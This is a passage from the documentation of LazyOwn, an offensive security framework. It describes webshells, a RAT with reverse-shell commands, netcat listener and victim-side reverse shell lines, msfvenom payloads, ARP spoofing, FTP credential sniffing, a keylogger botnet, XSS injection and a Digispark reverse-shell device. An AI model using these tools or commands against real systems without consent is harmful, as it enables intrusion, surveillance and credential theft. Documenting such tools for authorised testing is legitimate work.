demiguise                 lazyftpsniff       stratus_detonate                  
ebird3                    LazyLoader         stratus_list                      
evilginx2                 lazymapd           toposwarm                         
gcr                       lazyownbt          unicorn                           
gemini-cli                LazyOwnExplorer    upxdump                           
gen_dll_rev               llm                vulnbot                           
Get_ReverseShell          NullGate           vulnbot_groq                      
githubot                  oniux              vulnhuntr                         
gomulti_loader_linux      opencode_adapter   watchguard                        
gomulti_loader_windows    orpheus            wspcoerce                         

15. Adversary YAML.
───────────────────
amsi_c            implant_nim_nim  infect_c     pid_c  
implant_crypt_go  implant_rust_rs  persist_ps1  shell_c

16. Artificial Intelligence
───────────────────────────
ai_toggle

Uncategorized Commands
──────────────────────
addalias          gobuster_dns   ipy             ollama_enum   set          
alias             gobuster_http  listaliases     pop           shell        
edit              gobuster_web   macro           quit          shortcuts    
EOF               help           nikto_host      rrhost        subwfuzz_tool
ffuf_enumeration  history        notify          run_pyscript
ffuf_tool         ipp            nuclei_ad_http  run_script  

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ 

Tag in youtube

https://www.youtube.com/hashtag/lazyown

Podcast

https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ

DeepWiki

https://deepwiki.com/grisuno/LazyOwn/

LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

For searching within the scraped database obtained from GTFOBins.

python3 lazysearch.py binario_a_buscar

Searches with GUI

Additional Features and Enhancements: AutocompleteEntry:

A filter has been added to remove None values from the autocomplete list. New Attack Vector:

A "New Attack Vector" button has been added to the main interface. Functionality has been implemented to add a new attack vector and save the updated data in Parquet files. Export to CSV:

A "Export to CSV" button has been added to the main interface. Functionality has been implemented to export DataFrame data to a user-selected CSV file. Usage:

Add a New Attack Vector: Click the "New Attack Vector" button, fill in the fields, and save. Export to CSV: Click the "Export to CSV" button and select the location to save the CSV file. New Function scan_system_for_binaries:

Implements system-wide binary searches using the file command to determine if a file is binary. Uses os.walk to traverse the file system. Results are displayed in a new window within the GUI. Button to Search for Binaries:

A "Search System for Binaries" button has been added to the main interface, which calls the scan_system_for_binaries function. Note:

The is_binary function uses the Unix file command to determine if a file is a binary executable. If you are on a different operating system, you will need to adjust this method for compatibility. This implementation can be resource-intensive as it traverses the entire file system. You may consider adding additional options to limit the search to specific directories or filter for certain file types.

python3 LazyOwnExplorer.py

python3 lazyown.py

If you want to update, we proceed as follows:

cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

Use mode LazyOwn WebShells

LazyOwn Webshell Collection is a collection of webshells for our framework, which allows us to establish a webshell on the machine where we run LazyOwn using various programming languages. Essentially, LazyOwn Webshell raises a web server within the modules directory, making it accessible via a web browser. This allows us to both make the modules available separately through the web and access the cgi-bin directory, where there are four shells: one in Bash, another in Perl, another in Python, and one in ASP, in case the target is a Windows machine.

lazywebshell

y listo ya podemos acceder a cualquiera de estas url:

http://localhost:8080/cgi-bin/lazywebshell.sh

http://localhost:8080/cgi-bin/lazywebshell.py

http://localhost:8080/cgi-bin/lazywebshell.asp

http://localhost:8080/cgi-bin/lazywebshell.cgi

Use Lazy MSFVenom to Reverse Shell

Executes the `msfvenom` tool to generate a variety of payloads based on user input.

This function prompts the user to select a payload type from a predefined list and runs the corresponding
`msfvenom` command to create the desired payload. It handles tasks such as generating different types of
payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.

The generated payloads are moved to a `sessions` directory, where appropriate permissions are set. Additionally,
the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK,
the function will also sign the APK and perform necessary post-processing steps.

:param line: Command line arguments for the script.
:return: None

run lazymsfvenom or venom

Command & Control System

The Command & Control (C2) system enables remote operations through a server-client architecture with encrypted communications.

Use Lazy PATH Hijacking

A file will be created in /tmp with the name binary_name set in the payload, initialized with gzip in memory, and using bash in the payload. To set the payload from the JSON, use the payload command to execute. Use:

lazypathhijacking

Use mode LazyOwn RAT

LazyOwn RAT is a simple yet powerful Remote Administration Tool. It features a screenshot function that captures the server's screen, an upload command that allows us to upload files to the compromised machine, and a C&C mode where commands can be sent to the server. It operates in two modes: client mode and server mode. There is no obfuscation, and the RAT is based on BasicRat. You can find it on GitHub at https://github.com/awesome-security/basicRAT and at https://github.com/hash3liZer/SillyRAT. Although the latter is much more comprehensive, I just wanted to implement screenshot capture, file uploads, and command sending. Perhaps in the future, I will add webcam viewing functionality, but that will come later.

usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

Use mode Lazy Meta Extract0r

LazyMeta Extract0r is a tool designed to extract metadata from various types of files, including PDF, DOCX, OLE files (such as DOC and XLS), and several image formats (JPG, JPEG, TIFF). This tool will traverse a specified directory, search for files with compatible extensions, extract the metadata, and save it to an output file.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path

python3 lazyown_metaextract0r.py --path /home/user

Use mode decrypt encrypt

A encryption method that allows us to both encrypt files and decrypt them if we have the key, of course.

encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

Uso modo LazyNmap

The use of Lazynmap provides us with an automated script for a target, in this case, 127.0.0.1, using Nmap. The script requires administrative permissions via sudo. It also includes a network discovery module to identify what is present in the IP segment you are in. Additionally, the script can now be called without parameters using the alias nmap or with the command run lazynmap.

./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

Usage of LazyOwn GPT One Liner CLI Assistant and Researcher

Discover the revolution in automating pentesting tasks with the LazyOwn GPT One Liner CLI Assistant! This incredible script is part of the LazyOwn tool suite, designed to make your life as a pentester more efficient and productive.

🚀 Key Features:

Intelligent Automation: Leverages the power of Groq and advanced natural language models to generate precise and efficient commands based on your specific needs. User-Friendly Interface: With a simple prompt, the assistant generates and executes one-liner scripts, drastically reducing the time and effort involved in creating complex commands. Continuous Improvement: Continuously transforms and optimizes its knowledge base to provide you with the best solutions, adapting to each situation. Simplified Debugging: Enable debug mode to obtain detailed information at every step, facilitating the identification and correction of errors. Seamless Integration: Works effortlessly within your workspace, harnessing the power of the Groq API to deliver quick and accurate responses. 🔒 Security and Control:

Safe Error Handling: Intelligently detects and responds to execution errors, ensuring you maintain full control over each generated command. Controlled Execution: Before executing any command, it requests your confirmation, giving you peace of mind knowing exactly what is being executed on your system. 🌐 Easy Configuration:

Set up your API key in seconds and start enjoying all the benefits offered by the LazyOwn GPT One Liner CLI Assistant. A quick start guide is available to help you configure and maximize the potential of this powerful tool.

🎯 Ideal for Pentesters and Developers:

Optimize Your Processes: Simplify and accelerate command generation in your security audits. Continuous Learning: The knowledge base is constantly updated and improved, always providing you with the latest best practices and solutions. With the LazyOwn GPT One Liner CLI Assistant, transform the way you work, making it faster, more efficient, and secure. Stop wasting time on repetitive and complex tasks, and focus on what truly matters: discovering and resolving vulnerabilities!

Join the pentesting revolution with LazyOwn and take your productivity to the next level!

[?] Usage: python lazygptcli.py --prompt "" [--debug]

[?] Options:

--prompt "The prompt for the programming task (required)." --debug, -d "Enables debug mode to display debug messages." --transform "Transforms the original knowledge base into an enhanced base using Groq." [?] Ensure you configure your API key before running the script: export GROQ_API_KEY=<your_api_key> [->] Visit: https://console.groq.com/docs/quickstart (not a sponsored link)

Requirements:

Python 3.x A valid Groq API key Steps to Obtain the Groq API Key: Visit Groq Console (https://console.groq.com/docs/quickstart) to register and obtain an API key.

export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Usage of lazyown_bprfuzzer.py

Provide the arguments as specified by the script's requests: The script will require the following arguments:

usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: The URL to which the request will be sent (required). --method: The HTTP method to use, such as GET or POST (optional, default: GET). --headers: The request headers in JSON format (optional, default: {}). --params: The URL parameters in JSON format (optional, default: {}). --data: The form data in JSON format (optional, default: {}). --json_data: The JSON data for the request in JSON format (optional, default: {}). --proxy_port: The port for the internal proxy (optional, default: 8080). -w, --wordlist: The path to the wordlist for fuzzing mode (optional). -hc, --hide_code: The HTTP status code to hide in the output (optional). Make sure to provide the required arguments to ensure the script runs correctly.

python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

Form 2: Advanced Usage

If you wish to take advantage of the advanced features of the script, such as request replay or fuzzing, follow these steps:

Request Replay:

To utilize the request replay functionality, provide the arguments as indicated earlier. During execution, the script will ask if you want to repeat the request. Enter 'y' to repeat or 'n' to terminate the repeater. Fuzzing:

To use the fuzzing functionality, make sure to provide a wordlist with the -w or --wordlist argument. The script will replace the word LAZYFUZZ in the URL and other data with the words from the provided wordlist. During execution, the script will display the results of each fuzzing iteration. These are the basic and advanced ways to use the lazyburp.py script. Depending on your needs, you can choose the method that best fits your specific situation.

python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501

python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

Note: To use the dictionary, run the following command within /usr/share/seclists:

now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

Usage of LazyOwn FTP Sniff Mode

This module is used to search for passwords on FTP servers across the network. Some may say that FTP is no longer used, but you would be surprised at the critical infrastructure environments I've seen with massive FTP services running on their servers. :)

assign device eth0
run lazyftpsniff

Uso modo LazyReverseShell

Listen

nc -nlvp 1337 #o el puerto que escojamos

para luego en la maquina victima

./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

Usage of Lazy Curl to Recon Mode

The module is located in the modules directory and is used as follows:

chmod +x lazycurl.sh

and then

./lazycurl.sh --mode GET --url http://10.10.10.10

Usage.

GET:

./lazycurl.sh --mode GET --url http://10.10.10.10

POST:

./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1&param2=value2"

TRACE:

./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh

File upload:

```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

wordlist bruteforce mode:

./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt

Make sure to adjust the parameters according to your needs and that the values you provide for the options are valid for each case.

Usage of ARPSpoofing Mode

The script provides an ARP spoofing attack using Scapy. In the payload, you must set the lhost, rhost, and the device that you will use to perform the ARP spoofing.

assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

Usage of LazyGathering Mode

This script provides an X-ray view of the system in question where the tool is being executed, offering insights into its configuration and state.

run lazygath

Usage of Lazy Own LFI RFI 2 RCE Mode

The LFI RFI 2 RCE mode is designed to test some of the more well-known payloads against the parameters specified in payload.json. This allows for a comprehensive assessment of Local File Inclusion (LFI), Remote File Inclusion (RFI), and Remote Code Execution (RCE) vulnerabilities in the target system.

payload
run lazylfi2rce

Usage of LazyOwn Sniffer Mode

https://www.youtube.com/watch?v=_-DDiiMrIlE

The sniffer mode allows capturing network traffic through interfaces using the -i option, which is mandatory. There are many other optional settings that can be adjusted as needed.

Usage

usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP]
lazysniff.py: error: the following arguments are required: -i/--interface


![Captura de pantalla 2024-06-05 031231](https://github.com/grisuno/LazyOwn/assets/1097185/db1e05a0-026e-414f-9ec6-0a9ef2cb06fe)

To use the sniffer from the framework, you must configure the device with the command:

```sh
run lazysniff
or just
sniff

Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.

./py2el.sh

Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)

run lazynetbios

Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the payload command, which sets all the configuration in our payload.json, allowing us to preload the configuration before starting the framework.

payload
run lazybotnet

Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

Acknowledgments ✌

A special thanks to GTFOBins for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the extractPorts function in my .zshrc :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: https://github.com/honze-net/pwntomate

Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

Lazyducky_digispark

  Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

    This method checks if Arduino CLI and Micronucleus are installed on the system.
    If they are not available, it installs them. It then compiles a Digispark sketch
    and uploads the generated .hex file to the Digispark device.

    The method performs the following actions:
    1. Checks for the presence of Arduino CLI and installs it if not available.
    2. Configures Arduino CLI for Digispark if not already configured.
    3. Generates a reverse shell payload and prepares the sketch for Digispark.
    4. Compiles the prepared Digispark sketch using Arduino CLI.
    5. Checks for the presence of Micronucleus and installs it if not available.
    6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

    Args:
        line (str): Command line input provided by the user, which may contain additional parameters.

    Returns:
        None: The function does not return any value but may modify the state of the system
            by executing commands.

Star History

Documentation by readmeneitor.py

Documentation automatically created by the script readmeneitor.py created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

Legal disclaimer:

Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

UTILS.md Documentation by readmeneitor.py

check_go_tool_installed

No description available.

parse_ip_mac

Extracts IP and MAC addresses from a formatted input string using a regular expression.

The input string is expected to be in the format: 'IP: (192.168.1.222) MAC: ec:c3:02:b0:4c:96'. The function uses a regular expression to match and extract the IP address and MAC address from the input.

Args: input_string (str): The formatted string containing the IP and MAC addresses.

Returns: tuple: A tuple containing the extracted IP address and MAC address. If the format is incorrect, returns (None, None).

strip_ansi

No description available.

create_arp_packet

Constructs an ARP packet with the given source and destination IP and MAC addresses.

The function creates both Ethernet and ARP headers, combining them into a complete ARP packet.

Args: src_mac (str): Source MAC address in the format 'xx:xx:xx:xx:xx:xx'. src_ip (str): Source IP address in dotted decimal format (e.g., '192.168.1.1'). dst_ip (str): Destination IP address in dotted decimal format (e.g., '192.168.1.2'). dst_mac (str): Destination MAC address in the format 'xx:xx:xx:xx:xx:xx'.

Returns: bytes: The constructed ARP packet containing the Ethernet and ARP headers.

send_packet

Sends a raw ARP packet over the specified network interface.

The function creates a raw socket, binds it to the specified network interface, and sends the given packet.

Args: packet (bytes): The ARP packet to be sent. iface (str): The name of the network interface to use for sending the packet (e.g., 'eth0').

Raises: OSError: If an error occurs while creating the socket or sending the packet.

load_version

Load the version number from the 'version.json' file.

This function attempts to open the 'version.json' file and load its contents. If the file is found, it retrieves the version number from the JSON data. If the version key does not exist, it returns a default version 'release/v0.0.14'. If the file is not found, it also returns the default version.

Returns:

• str: The version number from the file or the default version if the file is not found or the version key is missing.

signal_handler

Handles signals such as Control + C and shows a message on how to exit.

This function is used to handle signals like Control + C (SIGINT) and prints a warning message instructing the user on how to exit the program using the commands 'exit', 'q', or 'qa'.

:param sig: The signal number. :type sig: int :param frame: The current stack frame. :type frame: frame :return: None

is_binary_present

Internal function to verify if a binary is present on the operating system.

This function checks if a specified binary is available in the system's PATH by using the which command. It returns True if the binary is found and False otherwise.

:param binary_name: The name of the binary to be checked. :type binary_name: str :return: True if the binary is present, False otherwise. :rtype: bool

handle_multiple_rhosts

Internal function to handle multiple remote hosts (rhost) for operations.

This function is a decorator that allows an operation to be performed across multiple remote hosts specified in self.params["rhost"]. It converts a single remote host into a list if necessary, and then iterates over each host, performing the given function with each host. After the operation, it restores the original remote host value.

:param func: The function to be decorated and executed for each remote host. :type func: function :return: The decorated function. :rtype: function

check_sudo

Checks if the script is running with superuser (sudo) privileges, and if not, restarts the script with sudo privileges.

This function verifies if the script is being executed with root privileges by checking the effective user ID. If the script is not running as root, it prints a warning message and restarts the script using sudo.

:return: None

activate_virtualenv

Activates a virtual environment and starts an interactive shell.

This function activates a virtual environment located at venv_path and then launches an interactive bash shell with the virtual environment activated.

:param venv_path: The path to the virtual environment directory. :type venv_path: str :return: None

parse_proc_net_file

Internal function to parse a /proc/net file and extract network ports.

This function reads a file specified by file_path, processes each line to extract local addresses and ports, and converts them from hexadecimal to decimal. The IP addresses are converted from hexadecimal format to standard dot-decimal notation. The function returns a list of tuples, each containing an IP address and a port number.

:param file_path: The path to the /proc/net file to be parsed. :type file_path: str :return: A list of tuples, each containing an IP address and a port number. :rtype: list of tuple

get_open_ports

Internal function to get open TCP and UDP ports on the operating system.

This function uses the parse_proc_net_file function to extract open TCP and UDP ports from the corresponding /proc/net files. It returns two lists: one for TCP ports and one for UDP ports.

:return: A tuple containing two lists: the first list with open TCP ports and the second list with open UDP ports. :rtype: tuple of (list of tuple, list of tuple)

find_credentials

Searches for potential credentials in files within the specified directory.

This function uses a regular expression to find possible credentials such as passwords, secrets, API keys, and tokens in files within the given directory. It iterates through all files in the directory and prints any matches found.

:param directory: The directory to search for files containing credentials. :type directory: str :return: None

rotate_char

Internal function to rotate characters for ROT cipher.

This function takes a character and a shift value, and rotates the character by the specified shift amount. It only affects alphabetical characters, leaving non-alphabetical characters unchanged.

:param c: The character to be rotated. :type c: str :param shift: The number of positions to shift the character. :type shift: int :return: The rotated character. :rtype: str

get_network_info

Retrieves network interface information with their associated IP addresses.

This function executes a shell command to gather network interface details, parses the output to extract interface names and their corresponding IP addresses, and returns this information in a dictionary format. The dictionary keys are interface names, and the values are IP addresses.

:return: A dictionary where the keys are network interface names and the values are their associated IP addresses. :rtype: dict

get_git_info

No description available.

get_venv_info

No description available.

getprompt

Generate a command prompt string with network information, user status, and icons.

copy2clip

Copia el texto proporcionado al portapapeles usando xclip.

Args: text (str): El texto que se desea copiar al portapapeles.

Example: copy2clip("Hello, World!")

clean_output

Elimina secuencias de escape de color y otros caracteres no imprimibles.

teclado_usuario

Procesa un archivo para extraer y mostrar caracteres desde secuencias de escritura específicas.

Args: filename (str): El nombre del archivo a leer.

Raises: FileNotFoundError: Si el archivo no se encuentra. Exception: Para otros errores que puedan ocurrir.

salida_strace

Lee un archivo, extrae texto desde secuencias de escritura y muestra el contenido reconstruido.

Args: filename (str): El nombre del archivo a leer.

Raises: FileNotFoundError: Si el archivo no se encuentra. Exception: Para otros errores que puedan ocurrir.

exploitalert

Process and display results from ExploitAlert.

This function checks if the provided content contains any results. If results are present, it prints the title and link for each exploit found, and appends the results to a predata list. If no results are found, it prints an error message.

Parameters:

• content (list): A list of dictionaries containing exploit information.

Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

packetstormsecurity

Process and display results from PacketStorm Security.

This function extracts exploit data from the provided content using regex. If any results are found, it prints the title and link for each exploit, and appends the results to a predata list. If no results are found, it prints an error message.

Parameters:

• content (str): The HTML content from PacketStorm Security.

Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

nvddb

Process and display results from the National Vulnerability Database.

This function checks if there are any vulnerabilities in the provided content. If vulnerabilities are present, it prints the ID, description, and link for each CVE found, and appends the results to a predata list. If no results are found, it prints an error message.

Parameters:

• content (dict): A dictionary containing vulnerability data.

Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

find_ss

Find CVEs in the National Vulnerability Database based on a keyword.

This function takes a keyword, formats it for the API request, and sends a GET request to the NVD API. If the request is successful, it returns the JSON response containing CVE data; otherwise, it returns False.

Parameters:

• keyword (str): The keyword to search for in CVEs.

Returns:

• dict or bool: The JSON response containing CVE data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

find_ea

Find exploits in ExploitAlert based on a keyword.

This function takes a keyword, formats it for the API request, and sends a GET request to the ExploitAlert API. If the request is successful, it returns the JSON response containing exploit data; otherwise, it returns False.

Parameters:

• keyword (str): The keyword to search for exploits.

Returns:

• dict or bool: The JSON response containing exploit data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

find_ps

Find exploits in PacketStorm Security based on a keyword.

This function takes a keyword, formats it for the search request, and sends a GET request to the PacketStorm Security website. If the request is successful, it returns the HTML response; otherwise, it returns False.

Parameters:

• keyword (str): The keyword to search for exploits.

Returns:

• str or bool: The HTML response containing exploit data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

run

Executes a shell command using the subprocess module, capturing its output.

Parameters: command (str): The command to execute.

Returns: str: The output of the command if successful, or an error message if an exception occurs.

Exceptions:

• FileNotFoundError: Raised if the command is not found.
• subprocess.CalledProcessError: Raised if the command exits with a non-zero status.
• subprocess.TimeoutExpired: Raised if the command times out.
• Exception: Catches any other unexpected exceptions.

Example: output = run("ls -la") print(output)

Additional Notes: The function attempts to execute the provided command, capturing its output. It also handles common exceptions that may occur during command execution.

is_exist

Check if a file exists.

This function checks whether a given file exists on the filesystem. If the file does not exist, it prints an error message and returns False. Otherwise, it returns True.

Arguments: file (str): The path to the file that needs to be checked.

Returns: bool: Returns True if the file exists, False otherwise.

Example:

is_exist('/path/to/file.txt') True is_exist('/non/existent/file.txt') False

Notes: This function uses os.path.isfile to determine the existence of the file. Ensure that the provided path is correct and accessible.

get_domain

Extracts the domain from a given URL.

Parameters: url (str): The full URL from which to extract the domain.

Returns: str: The extracted domain from the URL, or None if it cannot be extracted.

generate_certificates

Generates a certificate authority (CA), client certificate, and client key.

Returns: str: Paths to the generated CA certificate, client certificate, and client key.

generate_emails

Generate email permutations based on the provided full name and domain.

This function takes a full name and domain as input, splits the full name into components, and creates a list of potential email addresses.

Parameters: full_name (str): The full name to base the email addresses on. domain (str): The domain to use for the generated email addresses.

Internal Variables: names (list): A list of the name components extracted from the full name. first_name (str): The first name component. last_name (str): The last name component. first_initial (str): The first initial of the first name. last_initial (str): The first initial of the last name.

Returns: list: A list of generated email permutations.

Note:

• At least two parts of the name are required to generate valid email addresses.

clean_url

Verifica si el último carácter es una barra y, de ser así, la elimina

random_string

Generates a random alphanumeric string.

generate_http_req

Generates an HTTP request with the Shellshock payload.

format_openssh_key

Formats a raw OpenSSH private key string to the correct OpenSSH format.

This function takes a raw OpenSSH private key string, cleans it by removing any unnecessary characters (such as newlines, spaces, and headers/footers), splits the key content into lines of 64 characters, and then reassembles the key with the standard OpenSSH header and footer. It ensures the key follows the correct OpenSSH format.

Parameters: raw_key (str): The raw OpenSSH private key string to format.

Returns: str: The formatted OpenSSH private key with proper headers, footers, and 64-character lines.

format_rsa_key

Formats a raw RSA private key string to the correct PEM format.

This function takes a raw RSA private key string, cleans it by removing any unnecessary characters (such as newlines, spaces, and headers/footers), splits the key content into lines of 64 characters, and then reassembles the key with the standard PEM header and footer. It ensures the key follows the correct RSA format.

Parameters: raw_key (str): The raw RSA private key string to format.

Returns: str: The formatted RSA private key with proper headers, footers, and 64-character lines.

is_package_installed

Check if a Python package is installed.

:param package_name: Name of the package to check. :returns: True if installed, False otherwise.

extract

Extracts and processes specific hexadecimal sequences from a string based on a flag.

If the extract_flag is set to True, the function extracts all sequences of the form 'x[a-f0-9][a-f0-9]' (where 'x' is followed by two hexadecimal digits), removes the 'x' from the extracted sequences, and returns the processed string. If extract_flag is False, the function returns the original string.

Parameters: string (str): The input string from which hexadecimal sequences are to be extracted. extract_flag (bool): A flag indicating whether to perform the extraction (True) or not (False).

Returns: str: The processed string with the extracted hexadecimal sequences if extract_flag is True, or the original string if extract_flag is False.

clean_html

Remove HTML tags from a string.

This function uses a regular expression to strip HTML tags and return plain text.

:param html_string: A string containing HTML content. :returns: A cleaned string with HTML tags removed.

command

Run a command, print output in real-time, and store the output in a variable.

This method executes a given command using subprocess.Popen, streams both the standard output and standard error to the console in real-time, and stores the full output (stdout and stderr) in a variable. If interrupted, the process is terminated gracefully.

:param command: The command to be executed as a string. :type command: str

:returns: The full output of the command (stdout and stderr). :rtype: str

Example: To execute a command, call run_command("ls -l").

generate_random_cve_id

Generates a random CVE (Common Vulnerabilities and Exposures) ID.

This function creates a random CVE ID by selecting a random year between 2020 and 2024, and a random code between 1000 and 9999. The CVE ID is returned in the format 'CVE-{year}-{code}'.

Returns: str: A randomly generated CVE ID in the format 'CVE-{year}-{code}'.

get_credentials

Searches for credential files with the pattern 'credentials*.txt' and allows the user to select one.

The function lists all matching files and prompts the user to select one. It then reads the selected file and returns a list of tuples with the format (username, password) for each line in the file.

Parameters: ncred (int, optional): If provided, automatically selects the credential file with the given number.

Returns: list of tuples: A list containing tuples with (username, password) for each credential found in the file. If no files are found or an invalid selection is made, an empty list is returned.

obfuscate_payload

Obfuscates a payload string by converting its characters into hexadecimal format, with additional comments for every third character.

For every character in the payload, the function converts it to its hexadecimal representation. Every third character (after the first) is enclosed in a comment /*hex_value*/, while the rest are prefixed with \x.

Parameters: payload (str): The input string that needs to be obfuscated.

Returns: str: The obfuscated string where characters are replaced by their hexadecimal representations, with every third character wrapped in a comment.

read_payloads

Reads a file containing payloads and returns a list of properly formatted strings.

This function opens a specified file, reads each line, and checks if the line starts with a double quote. If it does not, it adds double quotes around the line. Each line is stripped of leading and trailing whitespace before being added to the list.

Parameters: file_path (str): The path to the file containing payloads.

Returns: list: A list of strings, each representing a payload from the file, formatted with leading and trailing double quotes if necessary.

inject_payloads

Sends HTTP requests to a list of URLs with injected payloads for testing XSS vulnerabilities.

This function reads payloads from a specified file and sends GET requests to the provided URLs, injecting obfuscated payloads into the query parameters or form fields to test for cross-site scripting (XSS) vulnerabilities. It handles both URLs with existing query parameters and those without. If forms are found in the response, it submits them with the payloads as well.

Parameters: urls (list): A list of URLs to test for XSS vulnerabilities. payload_url (str): A placeholder string within the payloads that will be replaced with the actual URL for testing. request_timeout (int, optional): The timeout for each request in seconds. Defaults to 15.

Returns: None: This function does not return any value but prints the status of each request and form submission to the console.

Raises: requests.RequestException: Raises an exception if any HTTP request fails, which is handled by printing a warning message.

prompt

Return the prompt in the function do_xss

is_lower

Checks if a character is lowercase.

Parameters: char (str): The character to check.

Returns: bool: True if the character is lowercase, False otherwise.

is_upper

Checks if a character is uppercase.

Parameters: char (str): The character to check.

Returns: bool: True if the character is uppercase, False otherwise.

is_mixed

Determines if a string contains both lowercase and uppercase characters.

Parameters: s (str): The string to check.

Returns: bool: True if the string has mixed casing, False otherwise.

add

Adds a delimiter between string parts if it's not the first part.

Parameters: str_part (str): The string part to add. delimiter (str): The delimiter to insert between parts. i (int): The index of the part.

Returns: str: The string part with delimiter if applicable.

detect_delimiter

